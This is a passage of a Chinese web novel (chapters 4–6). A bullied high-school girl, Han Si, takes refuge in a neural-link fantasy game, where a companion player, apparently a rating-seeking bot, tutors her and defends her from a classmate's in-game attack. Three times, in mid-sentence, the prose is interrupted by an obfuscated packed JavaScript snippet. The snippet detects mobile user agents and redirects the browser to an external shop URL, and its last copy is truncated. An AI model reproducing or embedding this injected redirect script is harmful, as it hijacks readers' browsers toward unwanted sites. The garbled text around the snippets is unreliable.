“你是怎么惹到他的?他最近脾气越来越炸了,你可得小心点。” “我能理解你,但他们是这样的,有时候心情不爽了连我们都要看他脸色,你要不去道个歉,说不定就过去了。” 韩思手里抓着厚厚的词汇手册,听她们说话忽然有种同病相怜的心境,好像除了食物链最顶端的几个人以外,大家或多或少都被他欺负过。 她目光低垂,落在那些人的鞋子上:“我道过歉,好像没有用。” 之前被朋友拉着了解过,这些鞋子里好几双都是价格不菲的潮牌,潘邢那双好像更是联名限量款,一双鞋就能抵她一年的生活费。 “啊那完了,估计是被他记恨上了,你更加要小心点。” “要不要转班?之前有个女孩子受不了就转走了,我要是你的话我可能也转走了,被他们抓住欺负也太惨了。” “不过虽然这么说不好,但班级里总有人要做他发泄情绪的沙袋,真可怜。” 耳边充斥着她们的交谈声,韩思听着听着便道:“那就没有人制裁他吗?” “这就是省重生的幻想吗?” 那群女孩子的眼里忽然满是嘲讽,“制裁他?拜托我们学校教学楼翻新用的都是潘家的钱。” “你是小说看多了吗?你要是足够有钱的话确实可以考虑下,至少比潘家有钱。” “我要是能做他女朋友就好了,想要什么就有什么。” “你斗不过她现任女友的啦,有钱有颜有身材,最重要的是人家那追人的架势声势浩大。” 忽然有道声音:“那群男生下来了下来了!” 热火朝天的讨论瞬间静默,她们几个旋即招招手:“那我们先过去了,不打扰你看书。” 聊天的声音渐渐远去,韩思找了处空草地坐下。 她刚刚是怎么生出的同病相怜感呢,分明如今可怜的只有她一个。 词汇手册翻开,目之所及的单词倒正好是retribution。 举头三尺有神明,善恶到头终有报。 这群尚年少的恶人,会遭受到他们的报应吗。 这天晚上韩思以病假为由,第一次撒谎逃了晚自习。 家里还是没有人,手机上是条刚收到的短信。 【你弟弟已经够惹是生非了,你安分点。今天晚上不回来,冰箱里有面自己下。】 韩思没去厨房,也没吃饭,她什么都不想动,就像是耗尽精力的机器人,单单扫描仪扫描课本就筋疲力尽。 躺倒在床上之前,她戴上了游戏设备。 再睁眼,一张帅脸毫无来由地凑得极近。 “晚上好哦,你今天上线好早,我有个好消息要告诉你。” 零零零这人是住在游戏里的吗??? 韩思深呼吸,勉强把被吓到的心跳平复下来:“我今天不想做任务,谢谢你昨天帮我。” “是去写作业吗?昨天我和你说的,你真照做了诶。”零零零一眼就看到了韩思手上拿的课本和习题,恍然大悟道,“高中生的话,作业要是没做完,是不是会挨骂罚站走廊写三千字检讨,还要叫爸妈去学校。” “……倒也没那么严重。” 这人怎么一副没上过学的样子,义务制教育应该普及了才对。 “我倒是知道个好地方可以静下心学,走吧。” 韩思定定的。 拒绝的话语在嘴中跑了个来回,但微风还有嘈杂的人声在周遭沸沸扬扬,这里那么吵闹,好像是没办法静下心来。 手腕被抓住,街景迅速后退,别在衣襟上的玉佩沾染稻香叮叮当当,夏日的晚霞正好,知了一声一声叫着,又似乎怕惊了这片喧夏,不敢大声。 明明是游戏世界,做这么真实干什么。 但心中被吹散了些的阴霾,也如此真实。 草地上的少年抬头看天空,云卷云舒,少女咬着笔杆思考题目,愁眉苦脸。 “啊,你这习题本咋是白的,原来你是不做作业的类型啊?我竟然也会有看错人的时候。” 不知什么时候零零零随手抽走了本韩思带来的书,正好还抽到那本的习题本, 没得到回复,零零零又忽然支起身凑过来:“你脸色突然好差诶,是难过吗?” “休息会儿吧,你已经不声不响做题一个多小时了,劳逸结合才能效率最大化,今天晚上还有玩家擂台赛呢,要不要去看眼。” 韩思的嘴角抽了抽,干脆躺倒在草地,用书本盖上脸: 他话好多。 书本被纤长骨感的手掀开,指尖触碰额头,微微有点冷,少年的期许却比夏日耀阳还明媚。 “去吗?” 4. 解题 “早说你会这道题,我也不会浪费四十分钟来琢磨了。” 韩思下巴撑着笔杆,看着眼前满脸认真的零零零下笔如有神般,唰唰唰就写好了简易版解题思路,把答题纸拍在韩思的手上。 接过手的韩思震撼之情浓郁,珍重捏起现在满是规整作答的答题纸,纸上的字迹整洁干净,她赞叹:“没想到你竟然还是个学霸。” 只是一行叠一行向下蔓延数字字母排列看得是头晕目眩,她深呼吸一口气,仔细琢磨片刻后,还是决定求助旁边的人,她指着纸张三分之二处:“这里这个公式,是怎么得出这个公式的……你干嘛?” 转头就是张手支脑袋笑吟吟的脸,好整以暇的模样,似乎就是在等韩思问他,他道:“我要是回答完了,能不能去看擂台赛?” 韩思连连点头,琢磨四十分钟的题目又勉强看懂一大半了,只剩下另一小半如鲠在喉实在是难受得她不上不下的,这橄榄枝简直对她不要太诱惑,她现在看零零零的目光简直就是在看神仙。 得到承诺的零零零脑袋飞快凑过来看纸张,小声说道:“不过我还没教过人呢。” “这里的话,你仔细观察f(x3)函数,还有第一小问解的答案,是不是可以代入其中的一个解,另外一半的话……最后一解你应该可以自己证明出来吧。” 他很快进入了讲题的状态,同理韩思也是,过一遍思路后迅速找到结症所在。 “等等等!为什么我这里推算出来的结果和你算的答案不一样啊?” “因为你算错了,草稿纸给我看看……”零零零自信地接过草稿一目十行,“嗯,这行这里,你移位移错了。” 韩思在他手中拿过草稿:“那我再算算,谢谢了。” 草稿纸只有一张,两人的字迹都很整齐,又风格迥异地穿插排列,一行行的推算,或多或少的批注修正。 夏日的晚风一阵一阵在吹衣角,橘黄色的落日余晖笼罩,笔尖簌簌触碰纸张,恰到好处的提示一句一句在耳畔响起,顺着思路一问一答,完整的答案就仿佛潺潺的小溪流。 然而,一个是纯纯求用户好评的机器人,一个是眼里被解题思路所诱惑的高三生。 于是,两人硬是眼里只有这道数学压轴题。 超速思维风暴过后,若说韩思唯一剩下的念头,那就是有气无力道:“……学神,思路明晰一语中的。” 她心中狠狠腹诽:真不是人,是计算机吧能算这么快,一眼得出最佳解,人和人的天赋怎么能差这么多。 秉持做人讲诚信原则,十分钟后,韩思被零零零以风驰电掣般的跑步速度,生生拽到了擂台赛的赛场边上,这般又是做题又是讲题耽搁,比赛愣是还在进行中,虽然已进入了尾声。 复杂的知识在凌乱中被抛之脑后,一场夺命狂奔过后韩思的大脑空空如也,她扶着柱子喘气,吐槽道:“不是,到底为什么这种地方也要做得这么真实啊??” 反观生龙活虎的零零零已经找到位置在不远处招呼她坐下了。 韩思拖着疲累的身躯在他边上刚坐下,就听见后头几个在窃窃私语。 “哇前面这个男生好帅啊,好合我的审美。” “嚯我昨天貌似见过他,男生一直都在陪女生做新手任务,明显是一对小情侣吧。好甜好甜,男生还等女生先坐才坐。” “听说帅哥的皮下很有可能是女孩子,因为男的审美一言难尽。” 什么小情侣?再说一遍什么小情侣??? 韩思慌得恨不得拔地而起封住后面人的嘴,薄薄的脸皮仿佛要烧起来似的,她愣是没敢转头看零零零的神色。 为避免后面三位继续语出惊人说出这种尴尬话,韩思硬着头皮转头辩解:“我们不是情侣……” 话还没说完那三人马上滑跪道歉。 “我靠我们怎么在公屏上聊天了!!” “我就说怎么怪怪的,啊啊啊!好丢人!!” “对不起!非常对不起!!!” 三个人同时发出三个流泪猫猫头,叠起来的那种。 三人组滑跪的速度之快以及态度之诚恳,以至于韩思后半句指责的话都没能说出口,况且三个流泪猫猫头的场面实在是有些滑稽好笑,本来就没怎么生气更是瞬间泄去大半。 韩思转头,虽然看似面朝比赛场地却还是忍不住放轻呼吸用余光偷瞄零零零。 刚才可是被误会成小情侣啊,他会不会生气?会不会也很尴尬?一直都很活跃的零零零在这件事上却突然默不作声了,韩思有些七上八下,思维发散。 从昨天的遇见开始,零零零一路帮忙,还教她题目,想带她来看比赛。 他明明不用这么热情的不是吗? 那些情感对于韩思来说太遥远,她诚如他所说是个胆小鬼。 他们只是见了两面的陌生人而已,连朋友都难算得上。 但韩思还是没忍住瞄一眼。 再瞄一眼。 再瞄最后一眼。 视线碰上,触之即分,但还是被抓包当场。 零零零视线紧随,他单纯好奇地歪头询问:“怎么了吗?” “……没事,你视线范围还真广。” “因为汉斯小姐你一直在看我啊,没有注意到都难吧。” 语气中有些细小的,不易察觉的上扬,也许连他本人都没注意到。 零零零说话还是一如既往的直来直去,韩思觉得自己今日不宜打游戏,这短短的十分钟,她已经原本薄薄的脸皮此刻已经历经了千万次锤炼。 正在颅内风暴的韩思勉强找到个扯得过去的谎言,刚想张嘴,就又见零零零侧身,小半个身体从椅子上靠近过来,衣服与衣服之间相碰,布料发出沙沙的声音。 比赛座位之间的间隔并不小,但却是极容易被气味撑满空气的距离。 他的侧脸极近,眉骨高而眼窝略深,有很明显的高度差,纤长笔直的睫毛下,琥珀色的瞳孔正认真地凝视着什么,眉头微蹙,略带思索。 韩思的思绪这次干脆一片空白,过近的距离呼吸刻意放缓到几乎要停止,正犹豫着是直接起身好还是推开他好,就听零零零稍许困惑的声音响起。 “好奇怪啊,你的面板怎么也没显示任务已完成?” “嗯?” 韩思愣了下,宕机的大脑开始加载。 “新手任务之看一场擂台赛啊,我们都在这里了怎么会还没完成呢?也许是卡bug了?那可能需要去找GM反馈一下,只是这样的话,今天我的五星好评就没有了。” 那少年坦然自若地转头看过来,似乎还想讨论讨论原因。 但在看到韩思后又马上止住话头,眨巴眨巴眼睛,稍顿了下,有些谨慎地组织措辞,试探道:“你脸色看上去好像不太好,是不是进入游戏太久了,身体不舒服,休息一下吧。” 仍旧是很近的距离,但不同的是,此刻她心中毫无涟漪,心如止水。 韩思好自恋啊你,这下出糗了吧。 顿了下后她回答:“没有,我现在挺好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564452|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “然后你离我有点太近了,远一点我会更好,不好意思。” 她一边道歉一边把零零零按回他的座位上,没抬头自然也没看到他茫然的表情,不过就算她看到了也不想再管。 她忽然无比清晰地醒悟到零零零是真的从未把她放到男女关系上想过,所以他不会脸红不会想自己那样多想。 他很正常,只是丢脸的是她。 这下韩思的视线是真的只看向台上的擂台赛了。 台上正打得热火朝天,两位落腮胡大哥一来一回的交手虽然都是走下三滥的野路子,但出手狠辣的程度,让韩思都幻觉自己痛痛的。 再次感叹一句昨天选择跑路是个正确的选择。 本来比赛就已经开始有一段时间了,因此不过片刻的功夫,就以一人的倒下为比赛结束,赢的人连升十级擂台上升,挑走对方的装备,不过看着也挺狼狈。 再看两人头顶上的赛事面板,原来两位竟都是法修,只是蓝条用完后只能选择近身肉搏,莫名滑稽。 在结果落定的瞬间。 叮—— 伴随系统音,韩思眼前面板忽然醒目一亮。 新手任务:观看擂台赛,已完成。 请给零零零评分。 韩思抬眼看文字片刻:“你刚刚说的那个五星好评,我打完了,你收到了吗?” 被提到的零零零下意识想靠近点,又想起什么似的撤回座位上没敢动,道:“那照这样看,系统判定标准是完整的一场比赛。” 他又笑眯眯转头:“谢谢汉斯小姐。” 韩思忽然问道,“如果我后面不上线的话,你的任务怎么办啊?” “嗯……那好像得换一个人?不过我都没想过这个问题。”零零零意识到了什么似的,笑眯眯的表情凝固在脸上,大惊,“你不会打算不上线了吧?我可以帮你做题的,汉斯小姐你舍得吗?” 很可怜地靠近过来了。 韩思再次把他按回座位上:“不会不上线。” 她视线落回场内,又问出了很好奇的问题:“我的好评对来你说很重要吗?是参加了什么带新人的活动么?”问完又觉得是明知故问,零零零之前的每个动作每个反应都无不透露着答案。 “是啊,能换到很重要的东西。所以你要是打差评的话我就会难过得恨不得死掉。”零零零脸皮真的很厚,说完也加了个流泪的猫猫头.jpg。 很重要的东西,大概是什么珍贵的限定装备吧,好多游戏都这样,果然是位网瘾少年,为了装备常年浪迹在网上。 所以零零零对自己好只是因为他本来就是个热心肠的好人。 以及需要自己的五星好评而已。 韩思发了个拍拍猫头的表情,“不会的,我又不是什么不讲理的人。” 她现在心安理得了不少。 只是有些莫名诞生的酸涩,但不值一提。 下一组比赛即将开始,她兴致缺缺地目光下移。 零零零手支着脑袋,若有所思。 在他的视角下,少女脸上的变化实在是再明显不过了,无论是期待还是失落,都在眼底分毫毕现。 她稚嫩得连基本的掩藏情绪都做不到,又会乖乖跟着他的话走,就算偶尔生气冷硬也会因心软迅速妥协。 又能聪明地从暗示里意识到越界,努力收回不该有情愫,这省去了很多不必要的麻烦。 韩思是很好的胆小鬼。 他确实如同需要五星好评那样需要她。 5. 擂台赛 “原来你对擂台赛感兴趣啊,还以为你是休闲玩家那类的,要不要上场试试看?”零零零又生龙活虎了,他跃跃欲试的声音就在耳畔,“虽然说现在报名的话好像只能是明天的比赛了。” “不去,不感兴趣。”韩思紧盯的目光从场内收回,身边的零零零不知道为什么又凑近过来,貌似已经有点习惯了,她这次懒得推走,“我打擂台赛你也有好评吧?” 零零零亮亮的眼眸就在面前眨呀眨呀,韩思投降:好吧还是不太习惯。 她赶紧移开视线:“但我不想去,你说得挺对我是胆小鬼,我对这种没兴趣。” “好记仇啊汉斯小姐。” 零零零身上有种莫名欠欠的感觉,在他面前韩思伪装不起来生疏的客套,于是随口回道:“还好,毕竟你上次让我射落苹果惹祸上身的账我还没算。” 她还挺喜欢这种不用过脑子的聊天。 零零零举手抗议:“那我也帮你解决了新手任务。” 安静了片刻,本以为他总算能消停,没想到他手托下巴思考片刻后,又语出惊人道:“那你和我对打怎么样,我绝对不会反抗的。” 韩思:“众目睽睽下演戏吗?” 他怎么馊主意一个接一个的。 他毫不在意回道:“骗过系统完成任务不就好了,你也能拿到任务奖励,就当帮帮我嘛。” 好有道理…… “那你打我吧。我上场,然后往那里一躺,任务一样也结束了。”韩思也顺着他的思路走,一边说一边想象场景。 这一幕要是出现在凶残搏斗的比赛台上,怎么想都挺好笑,“下台会不会被群殴啊。” “不行不行,地上凉,我来躺比较好。”零零零连连摇头,义正严辞道,“不过你下手轻点,不可以公报私仇。” 韩思看了边上的认真嘱托的少年一眼,没忍住笑了下。 零零零忽然有些恍神,他眨眨眼,小声重复了一遍:“……真的不许公报私仇。” 台上,又是一场比赛结束,也是今日的最后一场比赛。 这轮是以左边的那名使用长刀的狂刀门弟子赢了比赛告终,那人正是韩思觉得有些眼熟的那位。 韩思有些好奇:“你说会有人按照自己现实生活里的模样捏数据吗?” “挺多的吧,不过我猜你应该不是,怎么了吗。” “猜得真准。”韩思越看越觉得那人长得熟悉,好像是在现实班级见过的,在潘邢身边的男生之一。 不会这么巧合吧。 但他们也在玩,说不定就是这么巧。 一想到潘邢他们也在游戏里就烦,一想到明天上学还要看到他们就更烦了。 韩思抓抓头发,苦恼地坐在座位上。 真想逃避啊,就这么永远在游戏里,不用面对现实。 赢下比赛的玩家还在台上领奖,看台上的观众陆陆续续离场,瀚如烟海的墨蓝薄雾晕染天空,漫天的星辰点缀其中,系统显示的时间已经是九点多了。 见韩思没动,零零零也跟着没动,他抬头仰望星空,“下下周周五晚上是全服大比,所以最近人不多,也没几个高手,大概都在忙着捡装备练熟练度,不然我还想借此机会向你推销一下呢,总感觉你一直兴致缺缺。” “十一前的周五吗,也是我要联考的日子。” “你心情不太好。是担心考不好么?”零零零好像不太会安慰人,脸上不加掩饰地写着我该说点什么的样子,犹豫片刻又加上,“别担心了,担心也没有用啊,不是高考的话,现在努努力,都还来得及。” “我可谈不上学霸,学霸是拿了题目就会做的。”韩思看出了零零零的为难,回答,“我没难过,不用安慰我。” “你认识场上的那个玩家吗?” “嗯?”零零零的话题转得好快。 “你的目光一直盯着他转诶,都不看我了。” 少年委屈的声音在耳边响起。 “好油啊你。”这招转移话题相当有效,韩思无奈拍了拍他的肩膀:“走了,下台了,其他人都走完了。我不走的话你打算一直陪着我啊。” “如果能给我好评的话,也不是不可以。” “不能,这又不是任务,给不了好评。”韩思离开了座位,“我想再一个人待会儿,要是没什么事的话,要不就在这里分开吧,也不耽误你什么。” “好明显的逐客令啊。”零零零说话直来直往,他瘪着嘴揉揉肩,“那拜拜咯,汉斯小姐需要我的话,随叫随到哦。” 走过通道拐角,余光瞥见零零零仍坐在座位上,本来以为他会一个人去做任务什么的,毕竟一直跟着自己,他的游戏进度应该比其他开服玩家慢上不少了。 韩思有些恍神,站定回头,那少年散漫地坐着,对朝漫天星辰,他虽然挺高,但却是颀长的身形,月光倾洒,描摹他的轮廓,似乎有些单薄。 在现实里,他会是怎样的人呢? 就这样在游戏里吵吵闹闹有了交集,真是件奇妙的事情。 韩思收回目光,来的时候三步并两步被零零零拽得飞起,这一回去就发现了这条出去的通道还挺长,游戏世界是仙侠背景,没有路灯,只有出口微弱的光照进来。 不远处好像有几个人围绕在一起。 走近看了就发现是那个刚在比赛场上获得胜利的狂刀门弟子,一张眼熟的脸,只是此时此刻他躺倒在地上,好像没气了。 不止他很眼熟,围绕着他的,这群都穿着狂刀门校服的人,都很眼熟。 昏暗的光下,他们交流的声音没有刻意压低,一字不落地落在韩思耳中。 “你小子怎么运气这么好?死一次还掉不出装备。” “潘总,这不是我运气好。”那刚才没气躺‘尸’的人从地上爬了起来,呼吸不稳话音有些颤,“潘哥你等等再砍我,这死一次也太痛了,这游戏做得也太逼真了,我现在,现在胸口还抽筋呢。” “我等不了,等会儿还要和他们去副本刷装备,你忍一忍。”为首的男生又是一刀捅过去。 幸好游戏血腥画面有美化处理,不至于看到血溅四处的惨烈画面,但还是让韩思眉头皱起,厌恶的情绪几乎要溢出来。 基本可以笃定是潘邢他们。 她不想和他们有任何牵扯,紧绷表情努力让自己神色如常,就好像是不认识的陌生人一样,她加快脚步从他们身旁经过。 庆幸于游戏里人来人往,她只是一个路过的玩家,他们一眼都没抬,只是在忙着捡地上的装备,走出灰暗的通道,她深呼吸一口气。 肩膀却被一股大力撞到,踉跄了几步,险些倒在地上。 “哪个不长眼的,挡在路中间。”那张熟悉的脸转头,厌恶与辱骂在那张丑陋的脸上扭曲。 刚被捅了两次,疼痛和憋屈让他现在气炸了。 韩思没理他,只是转身走开,让出条道来。 然而就在转身的刹那,背上像是被刀锋刮伤一样痛,她快跑了两步拉开距离才转身,那人在用狂刀门的AOE招式,发泄心中愤懑。 这游戏做得果然真实,背上的伤口火辣辣的,如果割到喉咙的话,哪怕明知不会死,明知远远没有现实里百分之一的痛楚,她也仍旧不愿意。 为什么怎么也甩不开这群惹人厌的人。 有路人在骂:“有病吧。” 被乱刀砍中,他离得远所以撤退得飞快。 距擂台赛结束过去了许久,这附近本来人就少,他们一跑人就几乎没人了。 他冷笑:“不想打架来什么战斗线?” 这圈确实是战斗线,但也许因为游戏刚开不久,又是链接神经的设备,被打伤了疼得很,所以很少有人在擂台外头打架,就算真的不小心招惹了疯子也都脚底抹油。 韩思还没加入宗门,也没学习过这些技能、她只是想暂借这个游戏躲避现实而已,她几乎是手无寸铁。 换线的话也需要脱战三十秒以上,不会真的要死一次才能离开吧。 更何况现在不是死不死的问题了,又是几道刀锋刮过。 明显能看出他的技能压根儿就控制着往割破衣服上放,游戏里的衣服制作符合地球规律,他的想法不难猜,又恶心又恶毒。 “要长眼睛不要挡路懂不懂,这次应该长教训了。”他举着长刀靠近,“也不知道你这新人能爆什么装备。” “不会好好说话的话,我也可以教教你。” 少年从通道里走出来,衣摆随着走路飘荡,他语气难得冷硬,好看的眉毛此时拧得很紧,“游戏的风气就是被你们搞坏的。” 以前怎么不知道零零零生气起来还挺有气势。 但韩思怕零零零为逞口头威风,把人给惹恼了,也不管会不会划伤,她咬咬牙快跑几步到零零零跟前,小声说道:“算了,你别和精神病说话。” 那神经病咬牙切齿:“战斗线凭什么不能打?说谁神经病?我看你们脑子才有问题。” 零零零冷眼看着他,上下嘴唇刚张,韩思就先一步捂住他的嘴,少年眼里的冷硬被击碎,他瞪大眼睛看着韩思,唔唔唔了两声,很显然是三个字‘你干嘛??’ “不是你说的吗,被攻击打中了会很疼的,设备是链接神经的。”韩思也感觉这个动作不太雅观,放下了手,“你好像跑得挺快的,等会儿能不能找机会带着我一起跑。” “胆小鬼。”零零零抿抿唇,少女的掌心温度还在上面。 这里两人还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564453|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交流,那边的神经病已经忍不了杀过来了。 瞅着刀锋即将划过零零零的脖颈,韩思拉了拉他的手,少年却不动如山。 零零零算是她认识的第一个朋友了,朋友有难自己开溜她良心过不去,韩思甚至都抬手打算空手接白刃了,小声怒骂:“喂你好歹躲一躲吧,别逞能啊,不管躲不躲……” 话音未落,就见攻击只是穿透他的身体,有如无物般,愣是毫发无伤。 零零零完全无视刀锋攻击,一步一步走上前去,眉骨下眼眸眯起:“没仇没怨为什么要打?欺软怕硬的东西,和她道歉。” 不容置疑的语气。 这位少年的等级远在他之上。 还有他眼里的冰冷和威胁。 局势瞬间碾压式扭转。 好汉不吃眼前亏。 他盯着韩思,囫囵吞枣般说了声“对不起”,就打算开溜。 憎恶的目光恨不得把韩思洞穿。 韩思不喜欢被人这样看着,于是上前几步拉了拉零零零的衣袖:“算了。” 比起进一步追究,她更不想再见到他们,已经得到道歉了,这是她之前都没想过能得到的东西。 那人刚跑却又被零零零抬手抓回来,少年低垂着眼帘,眼睫毛很长,嗓音很干净,一字一顿:“认真道歉。” 显然不打算就这么放过。 “喂你女朋友都说算了,你……”那人的反抗就像垂死挣扎,撞上寒芒毕露的目光后彻底闭嘴,“对不起,对不起行了吧,是我不长眼,是我冒犯了你女朋友。” 零零零松手,那人跑得飞快,跑之前还回头瞪了两眼,搞得零零零恨不得撸起袖子再抓一次。 韩思拉住他的肩扯回来。 好土的桥段,但是还挺爽的,所以。 “谢谢你。” 零零零得瑟转身:“不算逞能吧?” 韩思心甘情愿做氛围组,大拇指竖在他眼前:“很牛,超强!” 晚风在吹,他眯起眼睛,略宽大的手掌抓住少女的手腕。 零零零站直比韩思高一个头,又不懂得和人分开段合适的社交距离,前胸的呼吸起伏仿佛能隔着布料窥见,韩思抬眼就能撞见他居高临下的目光。 目光交汇,又见零零零半弯下腰,直到两人视线齐平,眨了眨眼明示道:“那应该值得很多个好评吧。” 气氛被破坏得太迅速,就像是龙卷风刮过刚盛开的花圃。 韩思恼:“……” 零零零又是那副欠欠的样子,双手抱胸站在一旁,嘴角挂着点笑意,“想过来提醒你一下这是战斗线,但没想到你真的这么倒霉,离开我就几分钟就能遭到这种事。” “是啊我是挺倒霉。”韩思利落承认,“以前怎么没发现你生气起来还像模像样的,能把人吓退。” “面对傻*嘛,只要比他们更疯就行了,都是欺软怕硬的东西。” 他又问道:“刚那人就是最后一轮比赛获胜者吧,你是不是认识他。 他着重强调了最后几个字:“我是说现实里的他,刚就想问了。” “是。” “你很讨厌他吧?不过他好像还没认出你。” “是。”韩思多看了他一眼。 零零零太聪明了,聪明到韩思也开始好奇他究竟在现实里是怎样的人。 然而零零零的高智商形象只需要一秒即可自我破功,他挑挑眉,凑近过来,“有没有兴趣在周五的擂台上整整他。” 韩思:“等等。” “怎么?” 零零零以为自己又要多费口舌去劝说,就听韩思竖起不雅手势道:“多整几个,让他们都别得到名次。” “接下来一个多月都要陪我刷好评任务。” 韩思点点头,有些无奈抗议:“我向来言而有信。” 突然反应过来什么的韩思又摸摸下巴,狐疑道,“不对啊,在游戏他们又打不过你,为什么当时和我一起狼狈逃窜啊,难道那个被砸苹果的倒霉蛋比这个人还要牛?” 零零零大言不惭:“所以只有你在狼狈逃窜啊。” “原来你存心在耍我?” 拳头硬了。 这恶劣的性格,迟早被人逮住打一顿,也就韩思打不过。 但声势不能输,韩思猛地凑过去,零零零竟被逼退几步抵在柱子上,正当觉得奇怪之际,他慌里慌张别过脸:“那个,你有钱买新衣服吗,没有的话我先借你,可恶啊刚才那个人我就应该抢走他的钱的。” 韩思低头看了看自己:“……也还好,你出现得及时,所以没有很走光吧,是游戏而已。” “去换!” 钱袋子唰一下砸在眼前。 “好……” 6. 百花 自那天的事情过后日子又过去了平淡的两周,这段时间里韩思去向班主任请了长期假说明情况,这个学期大概她都不会去晚自习了。 也许是学校不抓成绩氛围松散,班主任也没为难她,就批准了。 批准前,老头看着韩思的脸,叮嘱了一句:“韩思啊,你和他们不一样,你得好好学习。” 就像是和每个不去晚自习的同学都会说的公式话一样,毕竟不去晚自习多半是为了逃课出去玩这件事对他们而言,已经心照不宣。 韩思照旧低着头,她本来就是情绪内敛的性格:“老师,我觉得我在家自学更有效率。” 她没撒谎。 “我也知道我们班的晚自习氛围不太好,可能不适合你这样的小姑娘潜心学习。” 班主任叹口气,直接在请假单上签名了。 不用上晚自习后,韩思每天回到家都挺早,太阳还没落山,有时候在学校里吃过晚饭,有时候在经过的包子铺里买几个包子垫垫肚子。 这两周多的时间里,韩思的生活就是学校和游戏,两点一线单调至极,从学校上完课后就回家扫描书本带着一起进游戏,零零零也成天准点出现在面前,陪她一起做题。 其实零零零不太喜欢做题目来着,用他的话就是太枯燥太无趣。不过也是,他一眼就能看出韩思苦苦思索十来分钟的题目答案,点拨几句后,剩下的时间就是躺在边上看天空,然后静等韩思下一题需要他。 零零零会的东西很多,无论是语数外主科还是化学物理,照样对答如流,韩思不止一次好奇他究竟在现实里是个怎样的人。 怎么说也至少是能进顶尖大学的水平。 但他不提,韩思也没觉得有必要问,万一这是人家的隐私呢。 只不过天天赖着把零零零当一对一老师用却连补课费都不付,韩思脸皮就算厚如城墙也不好意思,她看着少年的脸认真提出来:“你要不自己先去做自己的任务,等我做完了题就来找你做新手任务,或者我先和你一起做完新手任务吧。” 其实照她的观念来说,用两个多小时的陪伴来换取不过三十分钟的陪打游戏和好评,无论怎么看都是零零零亏,而她恬不知耻地拿到了许多好处。 如此诱惑的选择放在零零零的面前,却非常意外地被他拒绝了。 少年折着捡来的树叶,薄薄的树叶在他指尖纷飞:“没关系,我陪你。要是学到太晚了任务下次做就好。” 韩思还是过意不去,两周里提了不止一次,但零零零仍旧不太在意的样子。 这段时间里潘邢他们大概也在忙游戏比赛的筹备,要么就是上课睡大觉,也没怎么找事。 就这样上学上课,放学进游戏,两周多时间眨眼而过。 她到家开门,不出意料仍是空无一人,只是今天有些特殊,本来规整干净的家具摆放此刻都乱糟糟的,床头柜被翻开,一些垃圾纸团乱放,还有带着残羹剩饭的餐盘留在桌上。 大概是妈妈匆匆回来过一趟吧。 她把桌子上的碗筷洗干净放好,简单收拾了下家具,摆放整齐。 知了在外头叫着,再过没两天就是十月份了,刚从学校坐车回家的路上已经感受到的秋风,想着正式入秋后这群吵闹的知了会一个接一个死去,也许这是今年盛夏的最后几声蝉鸣,也莫名有些怀念。 站在空空如也的客厅里犹豫了片刻,韩思还是发了条消息出去。 【国庆回来吗?】 【不回来,委屈下你,这些天自己住。】 回复来得很快,但也意料之中。 韩思犹豫了下,还是发出去了句关心的话:【好好吃饭,保重身体。】 【我可没空吃。你别学你弟弟就是对我最大的奖赏,你要是学他我肯定打死你。他是男孩子以后还能做别的,你要是读不出书我可养不起。】 那个女人没说假话,她是真的会往死里打。 韩思低垂着眼帘,手指在手机屏幕上移动,想说的话打了又删,最后只留下一个字。 【嗯。】 到国庆结束之前,这个家都只有她一个人吧。 最开始一个人的时候,她会恐惧,害怕半夜敲响的门铃,不敢看窗外幢幢的树影,不敢听夜晚的惊雷,去找班主任办理住宿,但又因没有多余床位留给她,不得不作罢。 既便最近已经好上很多了,但最多的还是孤独,挥之不去。 屋外好像有些下雨了,斜斜的雨滴,簌簌打落树叶,打在窗台上。 韩思回到自己的房间,关上房门,犹豫片刻,还是落上锁。 自从那套全息设备放在她这边后,她的房门一直都是锁着的,毕竟这东西挺贵的,如果真的坏了丢了,她赔不起。 所以其实那人说不回来的时候,她是松了口气的。 耳机罩住眼前,短暂的漆黑和死寂过后,是清香袭来,漫山遍野的花朵在山野里绽放,争先恐后印入眼帘。 但得益于距离优势,最抢镜头的还是零零零的恣意的笑脸,发现少女上线后,他飞快凑在其面前,夕阳余晖和万花都倒映在他的眼里,熠熠生辉。 “好看吧,新开放的地图百花谷。” 韩思退后半步躲开开屏就是零零零的帅脸袭击,已经颇有些熟能生巧的意思,她翻开地图确认无误后有些困惑:“这不是我们前段时间呆着做题的山谷吗?” “是的,所以不幸的消息就是,我们的秘密基地少了一个了。” 韩思道:“本来就只有一个。” 她又扫视漫山遍野开满灿烂花朵的山谷,没忍住又把忧愁的情绪带到游戏里:“明天就是周四了。” “啊,若是我没记错,周四就是你一直担心的联考了吧?担心的话就看看花散散心吧,然后还可以想想考完之后就来的十一国庆。”零零零绞尽脑汁试着安慰。 “其实不是担心联考。”她是担心当时潘邢他们威胁的,要让她作弊给他们抄,但这种闹心事还是不要和零零零说了。 此刻前几日里安静的小山谷,随着百花齐放,来来往往到处都是来打卡的玩家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 